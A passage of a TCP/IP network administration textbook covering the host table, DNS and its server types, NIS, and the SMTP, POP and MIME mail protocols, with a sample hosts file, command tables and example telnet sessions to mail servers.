This chapter shows how data moves through the global Internet from one specific process on the source computer to a single cooperating process on the other side of the world. TCP/IP uses globally unique addresses to identify any computer in the world. It uses protocol numbers and port numbers to uniquely identify a single process running on that computer.

Routing directs the datagrams destined for a remote process through the maze of the global network. Routing uses part of the IP address to identify the destination network. Every system maintains a routing table that describes how to reach remote networks. The routing table usually contains a default route that is used if the table does not contain a specific route to the remote network. A route only identifies the next computer along the path to the destination. TCP/IP uses hop-by-hop routing to move datagrams one step closer to the destination until the datagram finally reaches the destination network.

At the destination network, final delivery is made by using the full IP address (including the host part) and converting that address to a physical layer address. An example of the type of protocol used to convert IP addresses to physical layer addresses is Address Resolution Protocol (ARP). It converts IP addresses to Ethernet addresses for final delivery.

The first two chapters described the structure of the TCP/IP protocol stack and the way in which it moves data across a network. In the next chapter we move up the protocol stack to look at the type of services the network provides to simplify configuration and use.

Previous: 2.7 Protocols, Ports, and Sockets | TCP/IP Network Administration | Next: 3. Network Services
2.7 Protocols, Ports, and Sockets | Book Index | 3. Network Services


[Chapter 3] Network Services

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 2.8 Summary Chapter 3 Next: 3.2 The Host Table

3. Network Services

Contents:
Names and Addresses
The Host Table
Domain Name Service
Mail Services
Configuration Servers
Bootstrap Protocol
File and Print Servers
Summary

Some network servers provide essential computer-to-computer services. These differ from application services in that they are not directly accessed by end users. Instead, these services are used by networked computers to simplify the installation, configuration, and operation of the network.

The functions performed by the servers covered in this chapter are varied:

  • Name service for converting IP addresses to hostnames

  • Configuration servers that simplify the installation of networked hosts by handling part or all of the TCP/IP configuration

  • Electronic mail services for moving mail through the network from the sender to the recipient

  • File servers that allow client computers to transparently share files

  • Print servers that allow printers to be centrally maintained and shared by all users

Servers on a TCP/IP network should not be confused with traditional PC LAN servers. Every UNIX host on your network can be both a server and a client. The hosts on a TCP/IP network are "peers." All systems are equal. The network is not dependent on any one server. All of the services discussed in this chapter can be installed on one or several systems on your network.

We begin with a discussion of name service. It is an essential service that you will certainly use on your network.

3.1 Names and Addresses

The Internet Protocol document [1] defines names, addresses, and routes as follows:

A name indicates what we seek. An address indicates where it is.
A route indicates how to get there.

Names, addresses, and routes all require the network administrator's attention. Routes and addresses are covered in the previous chapter. This section discusses names and how they are disseminated throughout the network. Every network interface attached to a TCP/IP network is identified by a unique 32-bit IP address. A name (called a hostname) can be assigned to any device that has an IP address. Names are assigned to devices because, compared to numeric Internet addresses, names are easier to remember and type correctly. The network software doesn't require names, but they do make it easier for humans to use the network.

[1] RFC 791, Internet Protocol, Jon Postel, ISI, 1981, page 7.

In most cases, hostnames and numeric addresses can be used interchangeably. A user wishing to telnet to the workstation at IP address 172.16.12.2 can enter:

% telnet 172.16.12.2

or use the hostname associated with that address and enter the equivalent command:

% telnet peanut.nuts.com

Whether a command is entered with an address or a hostname, the network connection always takes place based on the IP address. The system converts the hostname to an address before the network connection is made. The network administrator is responsible for assigning names and addresses and storing them in the database used for the conversion.

Translating names into addresses isn't simply a "local" issue. The command telnet peanut.nuts.com is expected to work correctly on every host that's connected to the network. If peanut.nuts.com is connected to the Internet, hosts all over the world should be able to translate the name peanut.nuts.com into the proper address. Therefore, some facility must exist for disseminating the hostname information to all hosts on the network.

There are two common methods for translating names into addresses. The older method simply looks up the hostname in a table called the host table. [2] The newer technique uses a distributed database system called Domain Name Service (DNS) to translate names to addresses. We'll examine the host table first.

[2] Sun's Network Information Service (NIS) is an improved technique for accessing the host table. NIS is discussed in a later section.

Previous: 2.8 Summary | TCP/IP Network Administration | Next: 3.2 The Host Table
2.8 Summary | Book Index | 3.2 The Host Table


[Chapter 3] 3.2 The Host Table

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 3.1 Names and Addresses Chapter 3
Network Services 		Next: 3.3 Domain Name Service

3.2 The Host Table

The host table is a simple text file that associates IP addresses with hostnames. On most UNIX systems, the table is in the file /etc/hosts. Each table entry in /etc/hosts contains an IP address separated by whitespace from a list of hostnames associated with that address. Comments begin with #.

The host table on peanut might contain the following entries:

#
# Table of IP addresses and hostnames
#
172.16.12.2     peanut.nuts.com peanut
127.0.0.1       localhost
172.16.12.1     almond.nuts.com almond loghost
172.16.12.4     walnut.nuts.com walnut
172.16.12.3     pecan.nuts.com pecan
172.16.1.2      filbert.nuts.com filbert
172.16.6.4      salt.plant.nuts.com salt.plant salt

The first entry in the sample table is for peanut itself. The IP address 172.16.12.2 is associated with the hostname peanut.nuts.com and the alternate hostname (or alias) peanut. The hostname and all of its aliases resolve to the same IP address, in this case 172.16.12.2.

Aliases provide for name changes, alternate spellings, and shorter hostnames. They also allow for "generic hostnames." Look at the entry for 172.16.12.1. One of the aliases associated with that address is loghost. loghost is a special hostname used by the syslog daemon, syslogd. Programs like syslogd are designed to direct their output to the host that has a certain generic name. You can direct the output to any host you choose by assigning it the appropriate generic name as an alias. Other commonly used generic host names are lprhost, mailhost, and dumphost.

The second entry in the sample file assigns the address 127.0.0.1 to the hostname localhost. As we have discussed, the class A network address 127 is reserved for the loopback network. The host address 127.0.0.1 is a special address used to designate the loopback address of the local host - hence the hostname localhost. This special addressing convention allows the host to address itself the same way it addresses a remote host. The loopback address simplifies software by allowing common code to be used for communicating with local or remote processes. This addressing convention also reduces network traffic because the localhost address is associated with a loopback device that loops data back to the host before it is written out to the network.

Although the host table system has been superseded by DNS, it is still widely used for the following reasons:

  • Most systems have a small host table containing name and address information about the important hosts on the local network. This small table is used when DNS is not running, such as during the initial system startup. Even if you use DNS, you should create a small /etc/hosts file containing entries for your host, for localhost, and for the gateways and servers on your local net.

  • Sites that use NIS use the host table as input to the NIS host database. You can use NIS in conjunction with DNS; but even when they are used together, most NIS sites create host tables that have an entry for every host on the local network. Chapter 9, Configuring Network Servers , explains how to use NIS with DNS.

  • Very small sites that are not connected to the Internet sometimes use the host table. If there are few local hosts and the information about these hosts rarely changes, and there is no need to communicate via TCP/IP with remote sites, then there is little advantage to using DNS.

The old host table system is inadequate for the global Internet for two reasons: inability to scale and lack of an automated update process. Prior to adopting DNS, the Network Information Center (NIC) maintained a large table of Internet hosts called the NIC host table. Hosts included in the table were called registered hosts, and the NIC placed hostnames and addresses into this file for all sites on the Internet.

Even when the host table was the primary means for translating hostnames to IP addresses, most sites registered only a limited number of key systems. But even with limited registration, the table grew so large that it became an inefficient way to convert host names to IP addresses. There is no way that a simple table could provide adequate service for the enormous number of hosts in today's Internet.

Another problem with the host table system is that it lacks a technique for automatically distributing information about newly registered hosts. Newly registered hosts can be referenced by name as soon as a site receives the new version of the host table. However, there is no way to guarantee that the host table is distributed to a site. The NIC didn't know who had a current version of the table, and who did not. This lack of guaranteed uniform distribution is a major weakness of the host table system.

Some versions of UNIX provide the command htable to automatically build /etc/hosts and /etc/networks from the NIC host table. htable and the NIC host table are no longer used to build the /etc/hosts file. However, the command is still useful for building /etc/networks. The /etc/networks file is still used to map network addresses to network names because many network names are not included in the DNS database. To create the /etc/networks file, download the file ftp://rs.internic.net/netinfo/networks.txt into a local work directory. Run htable networks.txt. Discard the hosts file and the gateways file produced by htable, and move the networks file to the /etc directory.

This is the last we'll speak of the NIC host table: it has been superseded by DNS. All hosts connected to the Internet should use DNS.

Previous: 3.1 Names and Addresses | TCP/IP Network Administration | Next: 3.3 Domain Name Service
3.1 Names and Addresses | Book Index | 3.3 Domain Name Service


[Chapter 3] 3.3 Domain Name Service

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 3.2 The Host Table Chapter 3
Network Services 		Next: 3.4 Mail Services

3.3 Domain Name Service

The Domain Name System (DNS) overcomes both major weaknesses of the host table:

  • DNS scales well. It doesn't rely on a single large table; it is a distributed database system that doesn't bog down as the database grows. DNS currently provides information on approximately 16,000,000 hosts, while less than 10,000 are listed in the host table.

  • DNS guarantees that new host information will be disseminated to the rest of the network as it is needed.

Information is automatically disseminated, and only to those who are interested. Here's how it works. If a DNS server receives a request for information about a host for which it has no information, it passes on the request to an authoritative server. An authoritative server is any server responsible for maintaining accurate information about the domain being queried. When the authoritative server answers, the local server saves (caches) the answer for future use. The next time the local server receives a request for this information, it answers the request itself. The ability to control host information from an authoritative source and to automatically disseminate accurate information makes DNS superior to the host table, even for networks not connected to the Internet.

In addition to superseding the host table, DNS also replaces an earlier form of name service. Unfortunately, both the old and new services are commonly called name service. Both are listed in the /etc/services file. In that file, the old software is assigned UDP port 42 and is called nameserver or name. DNS name service is assigned port 53 and is called domain. Naturally, there is some confusion between the two name servers. This text discusses DNS only; when we refer to "name service," we always mean DNS.

3.3.1 The Domain Hierarchy

DNS is a distributed hierarchical system for resolving hostnames into IP addresses. Under DNS, there is no central database with all of the Internet host information. The information is distributed among thousands of name servers organized into a hierarchy similar to the hierarchy of the UNIX filesystem. DNS has a root domain at the top of the domain hierarchy that is served by a group of name servers called the root servers.

Just as directories in the UNIX filesystem are found by following a path from the root directory, through subordinate directories, to the target directory, information about a domain is found by tracing pointers from the root domain, through subordinate domains, to the target domain.

Directly under the root domain are the top-level domains. There are two basic types of top-level domains - geographic and organizational. Geographic domains have been set aside for each country in the world, and are identified by a two-letter code. For example, the United Kingdom is domain UK, Japan is JP, and the United States is US. When US is used as the top-level domain, the second-level domain is usually a state's two-letter postal abbreviation (e.g., WY for Wyoming). US geographic domains are usually used by state governments and K-12 schools and are not widely used for other hosts within the United States.

Within the United States, the most popular top-level domains are organizational - that is, membership in a domain is based on the type of organization (commercial, military, etc.) to which the system belongs. [3] The top-level domains used in the United States are:

[3] There is no relationship between the organizational and geographic domains in the U.S. Each system belongs to either an organizational domain or a geographical domain, not both.

com

Commercial organizations

edu

Educational institutions

gov

Government agencies

mil

Military organizations

net

Network support organizations, such as network operation centers

int

International governmental or quasi-governmental organizations

org

Organizations that don't fit in any of the above, such as non-profit organizations

Several proposals have been made to increase the number of top-level domains. The proposed domains are called generic top level domains or gTLDs. The proposals call for the creation of additional top-level domains and for the creation of new registrars to manage the domains. All of the current domains are handled by a single registrar - the InterNIC. One motivation for these efforts is the huge size of the .com domain. It is so large some people feel it will be difficult to maintain an efficient .com database. But the largest motivation for creating new gTLDs is money. Now that it charges fifty dollars a year for domain registration, some people see the InterNIC as a profitable monopoly. They have asked for the opportunity to create their own domain registration "businesses." A quick way to respond to that request is to create more official top-level domains and more registrars. The best known gTLDs proposal is the one from the International Ad Hoc Committee (IAHC). The IAHC proposes the following new generic top-level domains:

firm

businesses or firms

store

businesses selling goods

web

organizations emphasizing the World Wide Web

arts

cultural and entertainment organizations

rec

recreational and entertainment organizations

info

sites providing information services

nom

individuals or organizations that want to define a personal nomenclature

Will the IAHC proposal be adopted? Will it be modified? Will another proposal win out? I don't know. There are several other proposals, and as you would expect when money is involved, plenty of controversy. At this writing the only official organizational domain names are: com, edu, gov, mil, net, int, and org.

Figure 3.1 illustrates the domain hierarchy by using the organizational top-level domains. At the top is the root. Directly below the root domain are the top-level domains. The root servers only have complete information about the top-level domains. No servers, not even the root servers, have complete information about all domains, but the root servers have pointers to the servers for the second-level domains. [4] So while the root servers may not know the answer to a query, they know who to ask.

[4] Figure 3.2 shows two second-level domains: nih under gov and nuts under com.

Figure 3.1: Domain hierarchy

3.3.2 Creating Domains and Subdomains

The Network Information Center has the authority to allocate domains. To obtain a domain, you apply to the NIC for authority to create a domain under one of the top-level domains. Once the authority to create a domain is granted, you can create additional domains, called subdomains, under your domain. Let's look at how this works at our imaginary nut packing company.

Our company is a commercial profit-making (we hope) enterprise. It clearly falls into the com domain. We apply to the NIC for authority to create a domain named nuts within the com domain. The request for the new domain contains the hostnames and addresses of at least two servers that will provide name service for the new domain. (Chapter 4, Getting Started discusses the domain name application.) When the NIC approves the request, it adds pointers in the com domain to the new domain's name servers. Now when queries are received by the root servers for the nuts.com domain, the queries are referred to the new name servers.

The NIC's approval grants us complete authority over our new domain. Any registered domain has authority to divide its domain into subdomains. Our imaginary company can create separate domains for the sales organization (sales.nuts.com) and for the packing plant (plant.nuts.com) without consulting the NIC. The decision to add subdomains is completely up to the local domain administrator.

Name assignment is, in some ways, similar to address assignment. The NIC assigns a network address to an organization, and the organization assigns subnet addresses and host addresses within the range of that network address. Similarly, the NIC assigns a domain to an organization, and the organization assigns subdomains and hostnames within that domain. The NIC is the central authority that delegates authority and distributes control over names and addresses to individual organizations. Once that authority has been delegated, the individual organization is responsible for managing the names and addresses it has been assigned.

The parallel between subnet and subdomain assignment can cause confusion. Subnets and subdomains are not linked. A subdomain may contain information about hosts from several different networks. Creating a new subnet does not require creating a new subdomain, and creating a new subdomain does not require creating a new subnet.

A new subdomain becomes accessible when pointers to the servers for the new domain are placed in the domain above it (see Figure 3.1 Remote servers cannot locate the nuts.com domain until a pointer to its server is placed in the com domain. Likewise, the subdomains sales and plant cannot be accessed until pointers to them are placed in nuts.com. The DNS database record that points to the name servers for a domain is the NS (name server) record. This record contains the name of the domain and the name of the host that is a server for that domain. Chapter 8, Configuring DNS Name Service , discusses the actual DNS database. For now, let's just think of these records as pointers.

Figure 3.2: Non-recursive query

Figure 3.2 illustrates how the NS records are used as pointers. A local server has a request to resolve salt.plant.nuts.com into an IP address. The server has no information on nuts.com in its cache, so it queries a root server (terp.umd.edu in our example) for the address. The root server replies with an NS record that points to almond.nuts.com as the source of information on nuts.com. The local server queries almond, which points it to pack.plant.nuts.com as the server for plant.nuts.com. The local server then queries pack.plant.nuts.com, and finally receives the desired IP address. The local server caches the A (address) record and each of the NS records. The next time it has a query for salt.plant.nuts.com, it will answer the query itself. And the next time the server has a query for other information in the nuts.com domain, it will go directly to almond without involving a root server.

Figure 3.2 is an example of a non-recursive query. In a non-recursive query, the remote server tells the local server who to ask next. The local server must follow the pointers itself. In a recursive search, the remote server follows the pointers and returns the final answer to the local server. The root servers generally perform only non-recursive searches.

3.3.3 Domain Names

Domain names reflect the domain hierarchy. Domain names are written from most specific (a hostname) to least specific (a top-level domain), with each part of the domain name separated by a dot. [5] A fully qualified domain name (FQDN) starts with a specific host and ends with a top-level domain. peanut.nuts.com is the FQDN of workstation peanut, in the nuts domain, of the com domain.

[5] The root domain is identified by a single dot; i.e., the root name is a null name written simply as ".".

Domain names are not always written as fully qualified domain names. Domain names can be written relative to a default domain in the same way that UNIX pathnames are written relative to the current (default) working directory. DNS adds the default domain to the user input when constructing the query for the name server. For example, if the default domain is nuts.com, a user can omit the nuts.com extension for any hostnames in that domain. almond.nuts.com could be addressed simply as almond. DNS adds the default domain nuts.com.

This feature is implemented in different ways on different systems, but there are two predominant techniques. On some systems the extension is added to every hostname request unless it ends with a dot, i.e., is qualified out to the root. For example, assume that there is a host named salt in the subdomain plant of the nuts.com domain. salt.plant does not end with a dot, so nuts.com is added to it giving the domain name salt.plant.nuts.com. On most systems, the extension is added only if there is no dot embedded in the requested hostname. On this type of system, salt.plant would not be extended and would therefore not be resolved by the name server because plant is not a valid top-level domain. But almond, which contains no embedded dot, would be extended with nuts.com, giving the valid domain name almond.nuts.com.

How the default domain is used and how queries are constructed varies depending on software implementation. It can even vary by release level. For this reason, you should exercise caution when embedding a hostname in a program. Only a fully qualified domain name or an IP address is immune from changes in the name server software.

3.3.4 BIND, resolver, and named

The implementation of DNS used on most UNIX systems is the Berkeley Internet Name Domain (BIND) software. Descriptions in this text are based on the BIND name server implementation.

DNS name service software is conceptually divided into two components - a resolver and a name server. The resolver is the software that forms the query; it asks the questions. The name server is the process that responds to the query; it answers the questions.

The resolver does not exist as a distinct process running on the computer. Rather, the resolver is a library of software routines (called the "resolver code") that is linked into any program that needs to look up addresses. This library knows how to ask the name server for host information.

Under BIND, all computers use resolver code, but not all computers run the name server process. A computer that does not run a local name server process and relies on other systems for all name service answers is called a resolver-only system. Resolver-only configurations are common on single user systems. Larger UNIX systems run a local name server process.

The BIND name server runs as a distinct process called named (pronounced "name" "d"). Name servers are classified differently depending on how they are configured. The three main categories of name servers are:

Primary

The primary server is the server from which all data about a domain is derived. The primary server loads the domain's information directly from a disk file created by the domain administrator. Primary servers are authoritative, meaning they have complete information about their domain and their responses are always accurate. There should be only one primary server for a domain.

Secondary

Secondary servers transfer the entire domain database from the primary server. A particular domain's database file is called a zone file; copying this file to a secondary server is called a zone file transfer. A secondary server assures that it has current information about a domain by periodically transferring the domain's zone file. Secondary servers are also authoritative for their domain.

Caching-only

Caching-only servers get the answers to all name service queries from other name servers. Once a caching server has received an answer to a query, it caches the information and will use it in the future to answer queries itself. Most name servers cache answers and use them in this way. What makes the caching-only server unique is that this is the only technique it uses to build its domain database. Caching servers are non-authoritative, meaning that their information is second-hand and incomplete, though usually accurate.

The relationship between the different types of servers is an advantage that DNS has over the host table for most networks, even very small networks. Under DNS, there should be only one primary name server for each domain. DNS data is entered into the primary server's database by the domain administrator. Therefore, the administrator has central control of the hostname information. An automatically distributed, centrally controlled database is an advantage for a network of any size. When you add a new system to the network, you don't need to modify the /etc/hosts files on every node in the network; you modify only the DNS database on the primary server. The information is automatically disseminated to the other servers by full zone transfers or by caching single answers.

3.3.5 Network Information Service

The Network Information Service (NIS) [6] is an administrative database system developed by Sun Microsystems. It provides central control and automatic dissemination of important administrative files. NIS can be used in conjunction with DNS, or as an alternative to it.

[6] NIS was formerly called the "Yellow Pages," or yp. Although the name has changed, the abbreviation yp is still used.

NIS and DNS have similarities and differences. Like DNS, the Network Information Service overcomes the problem of accurately distributing the host table, but unlike DNS, it provides service only for local area networks. NIS is not intended as a service for the Internet as a whole. Another difference is that NIS provides access to a wider range of information than DNS - much more than name-to-address conversions. It converts several standard UNIX files into databases that can be queried over the network. These databases are called NIS maps.

NIS converts files such as /etc/hosts and /etc/networks into maps. The maps can be stored on a central server where they can be centrally maintained while still being fully accessible to the NIS clients. Because the maps can be both centrally maintained and automatically disseminated to users, NIS overcomes a major weakness of the host table. But NIS is not an alternative to DNS for Internet hosts, because the host table, and therefore NIS, contains only a fraction of the information available to DNS. For this reason DNS and NIS are usually used together.

This section has introduced the concept of hostnames and provided an overview of the various techniques used to translate hostnames into IP addresses. This is by no means the complete story. Assigning host names and managing name service are important tasks for the network administrator. These topics are revisited several times in this book and discussed in extensive detail in Chapter 8.

Name service is not the only service that you will install on your network. Another service that you are sure to use is electronic mail.

Previous: 3.2 The Host Table | TCP/IP Network Administration | Next: 3.4 Mail Services
3.2 The Host Table | Book Index | 3.4 Mail Services


[Chapter 3] 3.4 Mail Services

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 3.3 Domain Name Service Chapter 3
Network Services 		Next: 3.5 Configuration Servers

3.4 Mail Services

Users consider electronic mail the most important network service because they use it for interpersonal communications. Some applications are newer and fancier. Other applications consume more network bandwidth. Others are more important for the continued operation of the network. But email is the application people use to communicate with each other. It isn't very fancy, but it's vital.

TCP/IP provides a reliable, flexible email system built on a few basic protocols. These are: Simple Mail Transfer Protocol (SMTP), Post Office Protocol (POP), and Multipurpose Internet Mail Extensions (MIME). There are other TCP/IP mail protocols. Interactive Mail Access Protocol, defined in RFC 1176, is an interesting protocol designed to supplant POP. It provides remote text searches and message parsing features not found in POP. We will touch only briefly on IMAP. It and other protocols have some very interesting features, but they are not yet widely implemented.

Our coverage concentrates on the three protocols you are most likely to use building your network: SMTP, POP, and MIME. We start with SMTP, the foundation of all TCP/IP email systems.

3.4.1 Simple Mail Transfer Protocol

SMTP is the TCP/IP mail delivery protocol. It moves mail across the Internet and across your local network. SMTP is defined in RFC 821, A Simple Mail Transfer Protocol. It runs over the reliable, connection-oriented service provided by Transmission Control Protocol (TCP), and it uses well-known port number 25. [7] Table 3.1 lists some of the simple, human-readable commands used by SMTP.

[7] Most standard TCP/IP applications are assigned a well-known port in the Assigned Numbers RFC, so that remote systems know how to connect the service.

Table 3.1: SMTP Commands
Command | Syntax | Function
Hello | HELO <sending-host> | Identify sending SMTP
From | MAIL FROM:<from-address> | Sender address
Recipient | RCPT TO:<to-address> | Recipient address
Data | DATA | Begin a message
Reset | RSET | Abort a message
Verify | VRFY <string> | Verify a username
Expand | EXPN <string> | Expand a mailing list
Help | HELP [string] | Request online help
Quit | QUIT | End the SMTP session

SMTP is such a simple protocol you can literally do it yourself. telnet to port 25 on a remote host and type mail in from the command line using the SMTP commands. This technique is sometimes used to test a remote system's SMTP server, but we use it here to illustrate how mail is delivered between systems. The example below shows mail manually input from Daniel on peanut.nuts.com to Tyler on almond.nuts.com.

% telnet almond.nuts.com 25
Trying 172.16.12.1 ...
Connected to almond.nuts.com.
Escape character is '^]'.
220 almond Sendmail 4.1/1.41 ready at Tue, 29 Mar 94 17:21:26 EST
helo peanut.nuts.com
250 almond Hello peanut.nuts.com, pleased to meet you
mail from:<daniel@peanut.nuts.com>
250 <daniel@peanut.nuts.com>... Sender ok
rcpt to:<tyler@almond.nuts.com>
250 <tyler@almond.nuts.com>... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hi Tyler!
.
250 Mail accepted
quit
221 almond delivering mail
Connection closed by foreign host.

The user input is shown in bold type. All of the other lines are output from the system. This example shows how simple it is. A TCP connection is opened. The sending system identifies itself. The From address and the To address are provided. The message transmission begins with the DATA command and ends with a line that contains only a period (.). The session terminates with a QUIT command. Very simple, and very few commands are used.

There are other commands (SEND, SOML, SAML, and TURN) defined in RFC 821 that are optional and not widely implemented. Even some of the commands that are implemented are not commonly used. The commands HELP, VRFY, and EXPN are designed more for interactive use than for the normal machine-to-machine interaction used by SMTP. The following excerpt from a SMTP session shows how these odd commands work.

HELP
214-Commands:
214-    HELO    MAIL    RCPT    DATA    RSET
214-    NOOP    QUIT    HELP    VRFY    EXPN
214-For more info use "HELP <topic>".
214-For local information contact postmaster at this site.
214 End of HELP info
HELP RSET
214-RSET
214-    Resets the system.
214 End of HELP info
VRFY <jane>
250 <jane@brazil.nuts.com>
VRFY <mac>
250 Kathy McCafferty <<mac>>
EXPN <admin>
250-<sara@pecan.nuts.com>
250 David Craig <<david>>
250-<tyler@nuts.com>

The HELP command prints out a summary of the commands implemented on the system. The HELP RSET command specifically requests information about the RSET command. Frankly, this help system isn't very helpful!

The VRFY and EXPN commands are more useful, but are often disabled for security reasons because they provide user account information that might be exploited by network intruders. The EXPN <admin> command asks for a listing of the email addresses in the mailing list admin, and that is what the system provides. The VRFY command asks for information about an individual instead of a mailing list. In the case of the VRFY <mac> command, mac is a local user account and the user's account information is returned. In the case of VRFY <jane>, jane is an alias in the /etc/aliases file. The value returned is the email address for jane found in that file. The three commands in this example are interesting, but rarely used. SMTP depends on the other commands to get the real work done.

SMTP provides direct end-to-end mail delivery. This is unusual. Most mail systems use store and forward protocols like UUCP and X.400 that move mail toward its destination one hop at a time, storing the complete message at each hop and then forwarding it on to the next system. The message proceeds in this manner until final delivery is made. Figure 3.3 illustrates both store and forward and direct delivery mail systems. The UUCP address clearly shows the path that the mail takes to its destination, while the SMTP mail address implies direct delivery. [8]

[8] The address doesn't have anything to do with whether or not a system is store and forward or direct delivery. It just happens that UUCP provides an address that helps to illustrate this point.

Figure 3.3: Mail delivery systems

Direct delivery allows SMTP to deliver mail without relying on intermediate hosts. If the delivery fails, the local system knows it right away. It can inform the user that sent the mail or queue the mail for later delivery without reliance on remote systems. The disadvantage of direct delivery is that it requires both systems to be fully capable of handling mail. Some systems cannot handle mail, particularly small systems such as PCs or mobile systems such as laptops. These systems are usually shut down at the end of the day and are frequently offline. Mail directed from a remote host fails with a "cannot connect" error when the local system is turned off or offline. To handle these cases, features in the DNS system are used to route the message to a mail server in lieu of direct delivery. The mail is then moved from the server to the client system when the client is back online. The protocol most TCP/IP networks use for this task is POP.

3.4.2 Post Office Protocol

There are two versions of POP in widespread use: POP2 and POP3. POP2 is defined in RFC 937 and POP3 is defined in RFC 1725. POP2 uses port 109 and POP3 uses port 110. These are incompatible protocols that use different commands, but they perform the same basic functions. The POP protocols verify the user's login name and password, and move the user's mail from the server to the user's local mail reader.

A sample POP2 session clearly illustrates how a POP protocol works. POP2 is a simple request/response protocol, and just as with SMTP, you can type POP2 commands directly into its well-known port (109) and observe their effect. Here's an example with the user input shown in bold type:

% telnet almond.nuts.com 109
Trying 172.16.12.1 ...
Connected to almond.nuts.com.
Escape character is '^]'.
+ POP2 almond POP2 Server at Wed 30-Mar-94 3:48PM-EST
HELO hunt WatsWatt
#3  ...(From folder 'NEWMAIL')
READ
=496
RETR
{The full text of message 1}
ACKD
=929
RETR
{The full text of message 2}
ACKD
=624
RETR
{The full text of message 3}
ACKD
=0
QUIT
+OK POP2 Server exiting (0 NEWMAIL messages left)
Connection closed by foreign host.

The HELO command provides the username and password for the account of the mailbox that is being retrieved. (This is the same username and password used to log into the mail server.) In response to the HELO command the server sends a count of the number of messages in the mailbox, three (#3) in our example. The READ command begins reading the mail. RETR retrieves the full text of the current message. ACKD acknowledges receipt of the message and deletes it from the server. After each acknowledgment the server sends a count of the number of bytes in the new message. If the byte count is zero (=0) it indicates that there are no more messages to be retrieved and the client ends the session with the QUIT command. Simple! Table 3.2 lists the full set of POP2 commands.

Table 3.2: POP2 Commands
Command | Syntax | Function
Hello | HELO user password | Identify user account
Folder | FOLD mail-folder | Select mail folder
Read | READ [n] | Read mail, optionally start with message n
Retrieve | RETR | Retrieve message
Save | ACKS | Acknowledge and save
Delete | ACKD | Acknowledge and delete
Failed | NACK | Negative acknowledgement
Quit | QUIT | End the POP2 session

The commands for POP3 are completely different from the commands used for POP2. Table 3.3 shows the set of POP3 commands defined in RFC 1725.

Table 3.3: POP3 Commands
Command | Function
USER username | The user's account name
PASS password | The user's password
STAT | Display the number of unread messages/bytes
RETR n | Retrieve message number n
DELE n | Delete message number n
LAST | Display the number of the last message accessed
LIST [n] | Display the size of message n or of all messages
RSET | Undelete all messages; reset message number to 1
TOP n l | Print the headers and l lines of message n
NOOP | Do nothing
QUIT | End the POP3 session

Despite the fact that these commands are different from those used by POP2, they can be used to perform similar functions. In the POP2 example we logged into the server and read and deleted three mail messages. Here's a similar session using POP3:

% telnet almond 110
Trying 172.16.12.1 ...
Connected to almond.nuts.com.
Escape character is '^]'.
+OK almond POP3 Server Process 3.3(1) at Mon 15-May-95 4:48PM-EDT
user hunt
+OK User name (hunt) ok. Password, please.
pass Watts?Watt?
+OK 3 messages in folder NEWMAIL (V3.3 Rev B04)
stat
+OK 3 459
retr 1
+OK 146 octets
  The full text of message 1
dele 1
+OK message # 1 deleted
retr 2
+OK 155 octets
  The full text of message 2
dele 2
+OK message # 2 deleted
retr 3
+OK 158 octets
  The full text of message 3
dele 3
+OK message # 3 deleted
quit
+OK POP3 almond Server exiting (0 NEWMAIL messages left)
Connection closed by foreign host.

Naturally you don't really type these commands in yourself, but experiencing hands-on interaction with SMTP and POP gives you a clearer understanding of what these programs do and why they are needed.

3.4.3 Multipurpose Internet Mail Extensions

The last email protocol on our quick tour is MIME. [9] As its name implies, Multipurpose Internet Mail Extensions is an extension of the existing TCP/IP mail system, not a replacement for it. MIME is more concerned with what the mail system delivers then it is with the mechanics of delivery. It doesn't attempt to replace SMTP or TCP; it extends the definition of what constitutes "mail."

[9] MIME is also an integral part of the Web and HTTP.

The structure of the mail message carried by SMTP is defined in RFC 822, Standard for the Format of ARPA Internet Text Messages. RFC 822 defines a set of mail headers that are so widely accepted they are used by many mail systems that do not use SMTP. This is a great benefit to email because it provides a common ground for mail translation and delivery through gateways to different mail networks. MIME extends RFC 822 into two areas not covered by the original RFC:

  • Support for various data types. The mail system defined by RFC 821 and RFC 822 transfers only 7-bit ASCII data. This is suitable for carrying text data composed of US ASCII characters, but it does not support several languages that have richer character sets and it does not support binary data transfer.

  • Support for complex message bodies. RFC 822 does not provide a detailed description of the body of an electronic message. It concentrates on the mail headers.

MIME addresses these two weaknesses by defining encoding techniques for carrying various forms of data, and by defining a structure for the message body that allows multiple objects to be carried in a single message. The RFC 1521, MIME (Multipurpose Internet Mail Extensions) Part One: Mechanisms for Specifying and Describing the Format of Internet Message Bodies, defines two headers that give structure to the mail message body and allow it to carry various forms of data. These are the Content-Type header and the Content-Transfer-Encoding header.

As the name implies, the Content-Type header defines the type of data being carried in the message. The header has a Subtype field that refines the definition. Many subtypes have been defined since the original RFC was released. A current list of MIME types can be obtained from the Internet. [10] The original RFC defines seven initial content types and a few subtypes:

[10] Go to ftp://ftp.isi.edu/in-notes/iana/assignments/media-types and retrieve the file media-types.

text

Text data. RFC 1521 defines text subtypes plain and richtext. Several subtypes have since been added, including enriched and html.

application

Binary data. The primary subtype defined in RFC 1521 is octet-stream, which indicates the data is a stream of 8-bit binary bytes. One other subtype, PostScript, is defined in the standard. Since then more than 90 subtypes have been defined. They specify binary data formatted for a particular application. For example, msword is an application subtype.

image

Still graphic images. Two subtypes are defined in RFC 1521: jpeg and gif. More than 10 additional subtypes have since been added, including widely used image data standards such as tiff, cgm, and g3fax.

video

Moving graphic images. The initially defined subtype was mpeg, which is a widely used standard for computer video data. A few others have since been added, including quicktime.

audio

Audio data. The only subtype initially defined for audio was basic, which means the sounds are encoded using pulse code modulation (PCM).

multipart

Data composed of multiple independent sections. A multipart message body is made up of several independent parts. RFC 1521 defines four subtypes. The primary subtype is mixed, which means that each part of the message can be data of any content type. Other subtypes are: alternative, meaning that the same data is repeated in each section in different formats; parallel, meaning that the data in the various parts is to be viewed simultaneously; and digest, meaning that each section is data of the type message. Several subtypes have since been added, including support for voice messages (voice-message) and encrypted messages.

message

Data that is an encapsulated mail message. RFC 1521 defines three subtypes. The primary subtype, rfc822, indicates that the data is a complete RFC 822 mail message. The other subtypes, partial and External-body, are both designed to handle large messages. partial allows large encapsulated messages to be split among multiple MIME messages. External-body points to an external source for the contents of a large message body, so that only the pointer, not the message itself, is contained in the MIME message. Two additional subtypes have been defined: news for carrying network news, and http for HTTP traffic formatted to comply with MIME content typing.

